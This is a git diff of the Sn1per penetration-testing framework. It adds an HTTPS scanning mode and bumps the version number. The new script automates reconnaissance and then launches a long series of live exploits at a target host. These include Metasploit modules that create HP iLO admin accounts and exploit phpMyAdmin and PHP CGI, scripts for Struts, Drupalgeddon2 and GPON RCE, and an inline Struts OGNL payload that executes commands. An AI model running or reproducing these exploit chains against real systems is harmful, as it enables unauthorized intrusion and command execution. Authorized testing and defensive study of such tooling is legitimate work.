http://$TARGET:$PORT 'whoami' + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE TOMCAT CVE-2017-12617 RCE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/tomcat-cve-2017-12617.py -u http://$TARGET:$PORT + + if [ $SCAN_TYPE == "DOMAIN" ]; then + if [ $OSINT == "0" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SKIPPING GOOGLE HACKING QUERIES $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + else + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING GOOGLE HACKING QUERIES $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + goohak $TARGET > /dev/null + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING INURLBR OSINT QUERIES $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + php $INURLBR --dork "site:$TARGET" -s inurlbr-$TARGET.txt + rm -Rf output/ cookie.txt exploits.conf + GHDB="1" + fi + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SCAN COMPLETE! $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + rm -f $INSTALL_DIR/.fuse_* 2> /dev/null + if [ "$LOOT" = "1" ]; then + loot + fi + exit +fi \ No newline at end of file diff --git a/modes/webporthttps.sh b/modes/webporthttps.sh new file mode 100644 index 0000000..8e3a6d2 --- /dev/null +++ b/modes/webporthttps.sh @@ -0,0 +1,272 @@ +# WEBPORTHTTPS MODE ##################################################################################################### +if [ "$MODE" = "webporthttps" ]; then + if [ "$REPORT" = "1" ]; then + if [ ! -z "$WORKSPACE" ]; then + args="$args -w $WORKSPACE" + LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE + echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" + mkdir -p $LOOT_DIR 2> /dev/null + mkdir $LOOT_DIR/domains 2> /dev/null + mkdir $LOOT_DIR/screenshots 2> /dev/null + mkdir $LOOT_DIR/nmap 2> /dev/null + mkdir $LOOT_DIR/notes 2> /dev/null + mkdir $LOOT_DIR/reports 2> /dev/null + mkdir $LOOT_DIR/scans 2> /dev/null + mkdir $LOOT_DIR/output 2> /dev/null + fi + echo "sniper -t $TARGET -m $MODE -p $PORT --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE-$PORT-`date +%Y%m%d%H%M`.txt + sniper -t $TARGET -m $MODE -p $PORT --noreport $args | tee $LOOT_DIR/output/sniper-$MODE-$PORT-`date +%Y%m%d%H%M`.txt 2>&1 + exit + fi + echo -e "$OKRED ____ $RESET" + echo -e "$OKRED _________ / _/___ ___ _____$RESET" + echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" + echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" + echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" + echo -e "$OKRED /_/ $RESET" + echo -e "$RESET" + echo -e "$OKORANGE + -- --=[https://xerosecurity.com" + echo -e "$OKORANGE + -- --=[sniper v$VER by 1N3" + echo -e "" + echo -e "" + echo -e " ; , " + echo -e " ,; '. " + echo -e " ;: :; " + echo -e " :: :: " + echo -e " :: :: " + echo -e " ': : " + echo -e " :. : " + echo -e " ;' :: :: ' " + echo -e " .' '; ;' '. " + echo -e " :: :; ;: :: " + echo -e " ; :;. ,;: :: " + echo -e " :; :;: ,;\" :: " + echo -e " ::. ':; ..,.; ;:' ,.;: " + echo -e " \"'\"... '::,::::: ;: .;.;\"\"' " + echo -e " '\"\"\"....;:::::;,;.;\"\"\" " + echo -e " .:::.....'\"':::::::'\",...;::::;. " + echo -e " ;:' '\"\"'\"\";.,;:::::;.'\"\"\"\"\"\" ':; " + echo -e " ::' ;::;:::;::.. :; " + echo -e " :: ,;:::::::::::;:.. :: " + echo -e " ;' ,;;:;::::::::::::::;\";.. ':." + echo -e " :: ;:\" ::::::\"\"\"':::::: \": ::" + echo -e " :. :: ::::::; ::::::: : ; " + echo -e " ; :: ::::::: ::::::: : ; " + echo -e " ' :: ::::::....:::::' ,: ' " + echo -e " ' :: :::::::::::::\" :: " + echo -e " :: ':::::::::\"' :: " + echo -e " ': \"\"\"\"\"\"\"' :: " + echo -e " :: ;: " + echo -e " ':; ;:\" " + echo -e " -hrr- '; ,;' " + echo -e " \"' '\" " + echo -e " ''''$RESET" + echo "" + echo "$TARGET" >> $LOOT_DIR/domains/targets.txt + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING TCP PORT SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nmap -sV -T5 -Pn -p $PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-https-$TARGET.xml + port_https=`grep 'portid="'$PORT'"' $LOOT_DIR/nmap/nmap-https-$TARGET.xml | grep open` + if [ -z "$port_https" ]; + then + echo -e "$OKRED + -- --=[Port $PORT closed... skipping.$RESET" + else + echo -e "$OKORANGE + -- --=[Port $PORT opened... running tests...$RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING FOR WAF $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wafw00f https://$TARGET:$PORT | tee $LOOT_DIR/web/waf-$TARGET-https-$PORT 2> /dev/null + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING HTTP INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + whatweb -a 3 https://$TARGET:$PORT | tee $LOOT_DIR/web/whatweb-$TARGET-https-$PORT 2> /dev/null + echo "" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING SERVER INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python3 $PLUGINS_DIR/wig/wig.py -d -q -t 50 https://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-https + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-https > $LOOT_DIR/web/wig-$TARGET-https.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null + curl --connect-timeout 3 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null + if [ "$SSL" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED GATHERING SSL/TLS INFO $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET | tee $LOOT_DIR/web/sslyze-$TARGET.txt 2> /dev/null + sslscan --no-failed $TARGET | tee $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null + sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/sslscan-$TARGET.raw > $LOOT_DIR/web/sslscan-$TARGET.txt 2> /dev/null + echo "" + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SAVING SCREENSHOTS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + if [ ${DISTRO} == "blackarch" ]; then + /bin/CutyCapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=1000 2> /dev/null + else + cutycapt --url=https://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=1000 2> /dev/null + fi + echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port$PORT.jpg" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nmap -A -sV -T5 -Pn -p $PORT --script=http-vuln* $TARGET + if [ "$PASSIVE_SPIDER" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | sort -u | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null + fi + + if [ "$BLACKWIDOW" == "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + blackwidow -u https://$TARGET -l 3 -s y 2> /dev/null + cat /usr/share/blackwidow/$TARGET/$TARGET-urls-sorted.txt >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null + fi + + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_INSANE -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm + cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null + cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null + wget https://$TARGET:$PORT/robots.txt -O $LOOT_DIR/web/robots-$TARGET:$PORT-https.txt 2> /dev/null + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + clusterd --ssl -i $TARGET -p $PORT + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + wpscan --url https://$TARGET:$PORT --batch --disable-tls-checks + echo "" + wpscan --url https://$TARGET:$PORT/wordpress/ --batch --disable-tls-checks + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING CMSMAP $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $CMSMAP -t https://$TARGET:$PORT + echo "" + python $CMSMAP -t https://$TARGET:$PORT/wordpress/ + echo "" + if [ "$NIKTO" = "1" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + nikto -h https://$TARGET:$PORT -output $LOOT_DIR/web/nikto-$TARGET-https-$PORT.txt + fi + cd $INSTALL_DIR + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING WEBDAV SCANNER $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use scanner/http/webdav_scanner; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; setg SSL true; run; use scanner/http/webdav_website_content; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE TOMCAT UTF8 TRAVERSAL EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use admin/http/tomcat_utf8_traversal; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; set SSL true; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE OPTIONS BLEED EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use scanner/http/apache_optionsbleed; setg RHOSTS "$TARGET"; setg RPORT "$PORT"; set SSL true; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING HP ILO AUTH BYPASS EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use admin/hp/hp_ilo_create_admin_account; setg RHOST "$TARGET"; setg RPORT "$PORT"; set SSL true; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING MS15-034 SYS MEMORY DUMP METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use auxiliary/scanner/http/ms15_034_http_sys_memory_dump; setg RHOSTS \"$TARGET\"; set RPORT "$PORT"; set SSL true; set WAIT 2; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING BADBLUE PASSTHRU METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use exploit/windows/http/badblue_passthru; setg RHOST \"$TARGET\"; set RPORT "$PORT"; set SSL true; run; back; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING PHP CGI ARG INJECTION METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use exploit/multi/http/php_cgi_arg_injection; setg RHOST \"$TARGET\"; set RPORT "$PORT"; set SSL true; run; back; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JOOMLA COMFIELDS SQL INJECTION METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use unix/webapp/joomla_comfields_sqli_rce; setg RHOST \"$TARGET\"; set RPORT "$PORT"; set SSL true; run; back; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING PHPMYADMIN METASPLOIT EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + msfconsole -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT "$PORT"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/http/phpmyadmin_preg_replace; run; exit;" + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port $PORT + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-5638 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/apache_struts_cve-2017-5638.py -u https://$TARGET:$PORT + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-9805 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/apache_struts_cve-2017-9805.py -u https://$TARGET:$PORT + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE JAKARTA RCE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + curl -s -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" https://$TARGET:$PORT | head -n 1 + echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2018-11776 RCE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/apache-struts-CVE-2018-11776.py -u https://$TARGET:$PORT + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING DRUPALGEDDON2 CVE-2018-7600 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + ruby $INSTALL_DIR/bin/drupalgeddon2.rb https://$TARGET:$PORT + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING CISCO ASA TRAVERSAL CVE-2018-0296 $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/cisco-asa-traversal.py https://$TARGET:$PORT + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING JEXBOSS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + cd /tmp/ + python /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET:$PORT + cd $INSTALL_DIR + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING GPON ROUTER EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/gpon_rce.py https://$TARGET:$PORT 'whoami' + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING APACHE TOMCAT CVE-2017-12617 RCE EXPLOIT $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + python $INSTALL_DIR/bin/tomcat-cve-2017-12617.py -u https://$TARGET:$PORT + + if [ $SCAN_TYPE == "DOMAIN" ] && [ $OSINT == "1" ]; + then + if [ -z $GHDB ]; + then + if [ $OSINT == "0" ]; then + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SKIPPING GOOGLE HACKING QUERIES $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + else + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING GOOGLE HACKING QUERIES $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + goohak $TARGET > /dev/null + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED RUNNING INURLBR OSINT QUERIES $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + php $INURLBR --dork "site:$TARGET" -s inurlbr-$TARGET.txt + rm -Rf output/ cookie.txt exploits.conf + fi + fi + fi + echo -e "${OKGREEN}====================================================================================${RESET}" + echo -e "$OKRED SCAN COMPLETE! $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}" + rm -f $INSTALL_DIR/.fuse_* 2> /dev/null + if [ "$LOOT" = "1" ]; then + loot + fi + exit +fi \ No newline at end of file diff --git a/sniper b/sniper index c8fd9b8..ddafaf7 100755 --- a/sniper +++ b/sniper @@ -3,7 +3,7 @@ # + -- --=[http://xerosecurity.com # -VER="5.4" +VER="5.5" BROWSER="firefox" # SET DEFAULT BROWSER INSTALL_DIR="/usr/share/sniper" PLUGINS_DIR="$INSTALL_DIR/plugins" @@ -20,6 +20,7 @@ INURLBR="$INSTALL_DIR/bin/inurlbr.php" USER_FILE="$PLUGIN_DIR/brutex/wordlists/simple-users.txt" PASS_FILE="$PLUGIN_DIR/wordlists/password.lst" DNS_FILE="$PLUGIN_DIR/brutex/wordlists/namelist.txt" +QUICK_PORTS="21,22,23,25,53,80,110,137,138,139,161,162,443,445,512,513,514,1433,3306,4444,5555,5432,5555,5900,5901,6667,7001,8080,8888,8000,10000" DEFAULT_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,67,68,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2049,2067,2100,2103,2121,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5009,5038,5040,5051,5060-5061,5093,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6050,6060,6070,6080,6082,6101,6106,6112,6161,6262,6379,6405,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8090-8091,8095,8101,8161,8180,8205,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8999-9005,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:520,U:2049" DEFAULT_TCP_PORTS="1,7,9,13,19,21-23,25,37,42,49,53,69,79-81,85,88,105,109-111,113,123,135,137-139,143,161,162,179,222,264,384,389,402,407,443-446,465,500,502,512-515,523-524,540,548,554,587,617,623,631,655,689,705,771,783,831,873,888,902,910,912,921,993,995,998-1000,1024,1030,1035,1090,1098-1103,1128-1129,1158,1199,1211,1220,1234,1241,1300,1311,1352,1433-1435,1440,1471,1494,1521,1530,1533,1581-1582,1604,1720,1723,1755,1811,1900,2000-2001,2049,2067,2100,2103,2121,2199,2207,2222,2323,2362,2380-2381,2525,2533,2598,2638,2809,2947,2967,3000,3037,3050,3057,3128,3200,3217,3273,3299,3306,3310,3333,3389,3460,3465,3500,3628,3632,3690,3780,3790,3817,3900,4000,4322,4433,4444-4445,4659,4672,4679,4800,4848,5000,5009,5038,5040,5051,5060-5061,5093,5168,5227,5247,5250,5351,5353,5355,5400,5405,5432-5433,5466,5498,5520-5521,5554-5555,5560,5580,5631-5632,5666,5800,5814,5900-5910,5920,5984-5986,5999-6000,6050,6060,6070,6080,6082,6101,6106,6112,6161,6262,6379,6405,6502-6504,6542,6660-6661,6667,6789,6905,6988,6996,7000-7001,7021,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,7770,7777-7778,7787,7800-7801,7878-7879,7890,7902,8000-8001,8008,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8090-8091,8095,8101,8161,8180,8205,8222,8300,8303,8333,8400,8443-8445,8503,8642,8686,8701,8787,8800,8812,8834,8880,8888-8890,8899,8901-8903,8980,8999-9005,9010,9050,9080-9081,9084,9090,9099-9100,9111,9152,9200,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9910,9991,9999-10001,10008,10050-10051,10080,10098-10099,10162,10202-10203,10443,10616,10628,11000-11001,11099,11211,11234,11333,11460,12000,12174,12203,12221,12345,12397,12401,13013,13364,13500,13838,14000,14330,15000-15001,15200,16000,16102,16992,17185,17200,18881,18980,19300,19810,20000,20010,20031,20034,20101,20111,20171,20222,22222,23423,23472,23791,23943,25000,25025,26000,26122,26256,27000,27015,27017,27888,27960,28222,28784,30000,30718,31001,31099,32022,32764,32913,33000,34205,34443,37718,37777,38080,38292,40007,41025,41080,41523-41524,44334,44818,45230,46823-46824,47001-47002,48080,48899,49152,50000-50004,50013,50050,50500-50504,52302,52869,53413,55553,57772,62078,62514,65535" DEFAULT_UDP_PORTS="53,67,68,69,88,123,161,162,137,138,139,389,520,2049" @@ -37,21 +38,25 @@ FULLNMAPSCAN="0" OSINT="0" ENABLE_AUTO_UPDATES="1" REPORT="1" -LOOT="1" +LOOT="0" # PLUGINS SUBLIST3R="1" AMASS="1" SUBFINDER="1" -DNSCAN="1" +DNSCAN="0" CRTSH="1" SUBOVER="1" CLOUDHUNTER="0" SSL="1" PASSIVE_SPIDER="1" +BLACKWIDOW="1" +METASPLOIT_IMPORT="0" DISTRO=$(cat /etc/*-release | grep DISTRIB_ID= | cut -d'=' -f2) +# REMOVE HOST FROM WORKSPACE sed -i "/www.test.com/d" domains/targets-all-sorted.txt domains/domains-all-sorted.txt domains/targets.txt + function help { echo -e "$OKRED ____ $RESET" echo -e "$OKRED _________ / _/___ ___ _____$RESET" @@ -105,6 +110,9 @@ function help { echo ' [*] LIST WORKSPACES' echo ' sniper --list' echo "" + echo ' [*] GET SNIPER SCAN STATUS' + echo ' sniper --status' + echo "" echo ' [*] LOOT REIMPORT FUNCTION' echo ' sniper -w --reimport' echo "" @@ -131,6 +139,10 @@ function logo { echo "" } +function sniper_status { + watch -n 1 -c 'ps -ef | egrep "hydra|ruby|python|dirsearch|amass|nmap|metasploit|curl|wget" && echo "NETWORK CONNECTIONS..." && netstat -an | egrep "TIME_WAIT|EST"' +} + function check_online { if [ ! -z "$ONLINE" ]; then ONLINE=$(curl --connect-timeout 3 -s https://api.github.com/repos/1N3/Sn1per/tags | grep -Po '"name":.*?[^\\]",'| head -1 | cut -c11-13) @@ -260,6 +272,11 @@ case $key in exit shift ;; + -s|--status) + sniper_status + exit + shift + ;; -u|--update) UPDATE="1" update @@ -299,6 +316,7 @@ function init { mkdir $LOOT_DIR/output 2> /dev/null mkdir $LOOT_DIR/web 2> /dev/null mkdir $LOOT_DIR/notes 2> /dev/null + mkdir $LOOT_DIR/scans 2> /dev/null TARGET="$(echo $TARGET | sed 's/https:\/\///g' | sed 's/http:\/\///g')" /etc/init.d/metasploit start 2> /dev/null > /dev/null 2>&1 & msfdb start 2> /dev/null > /dev/null @@ -320,11 +338,13 @@ function loot { cd $LOOT_DIR - #echo -e "$OKORANGE + -- --=[Starting Metasploit service...$RESET" - #/etc/init.d/metasploit start 2> /dev/null > /dev/null - #msfdb start - #echo -e "$OKORANGE + -- --=[Importing NMap XML files into Metasploit...$RESET" - #msfconsole -x "workspace -a $WORKSPACE; workspace $WORKSPACE; db_import $LOOT_DIR/nmap/nmap*.xml; hosts; services; exit;" > $LOOT_DIR/notes/msf-$WORKSPACE.txt + if [ "$METASPLOIT_IMPORT" == "1" ]; then + echo -e "$OKORANGE + -- --=[Starting Metasploit service...$RESET" + /etc/init.d/metasploit start 2> /dev/null > /dev/null + msfdb start + echo -e "$OKORANGE + -- --=[Importing NMap XML files into Metasploit...$RESET" + msfconsole -x "workspace -a $WORKSPACE; workspace $WORKSPACE; db_import $LOOT_DIR/nmap/nmap*.xml; hosts; services; exit;" | tee $LOOT_DIR/notes/msf-$WORKSPACE.txt + fi echo -e "$OKORANGE + -- --=[Current reports...$RESET" ls -lh $LOOT_DIR/output/*.txt 2> /dev/null > /dev/null @@ -356,8 +376,6 @@ function loot { echo -e "$OKRED + -- --=[Sn1per Professional is not installed. To download Sn1per Professional, go to https://xerosecurity.com. $RESET" $BROWSER https://xerosecurity.com 2> /dev/null > /dev/null & fi - - echo -e "$OKORANGE + -- --=[Done!$RESET" } @@ -399,2397 +417,14 @@ if grep -q BlackArch /etc/issue; then echo "Setting current path to $INSTALL_DIR" fi -# DISCOVER MODE ##################################################################################################### -if [ "$MODE" = "discover" ]; then - if [ "$REPORT" = "1" ]; then - if [ ! -z "$WORKSPACE" ]; then - args="$args -w $WORKSPACE" - LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE - echo -e "$OKBLUE[*] Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET" - mkdir -p $LOOT_DIR 2> /dev/null - mkdir $LOOT_DIR/domains 2> /dev/null - mkdir $LOOT_DIR/screenshots 2> /dev/null - mkdir $LOOT_DIR/nmap 2> /dev/null - mkdir $LOOT_DIR/notes 2> /dev/null - mkdir $LOOT_DIR/reports 2> /dev/null - mkdir $LOOT_DIR/output 2> /dev/null - fi - sniper -t $TARGET -m $MODE --noreport $args | tee $LOOT_DIR/output/sniper-$MODE-`date +%Y%m%d%H%M`.txt 2>&1 - exit - fi - echo -e "$OKRED ____ /\\" - echo -e "$OKRED Sn1per by 1N3 @CrowdShield \ \\" - echo -e "$OKRED https://xerosecurity.com \ \\" - echo -e "$OKRED ___ / \\" - echo -e "$OKRED \ \\" - echo -e "$OKRED === > [ \\" - echo -e "$OKRED / \ \\" - echo -e "$OKRED \ / /" - echo -e "$OKRED === > [ /" - echo -e "$OKRED / /" - echo -e "$OKRED 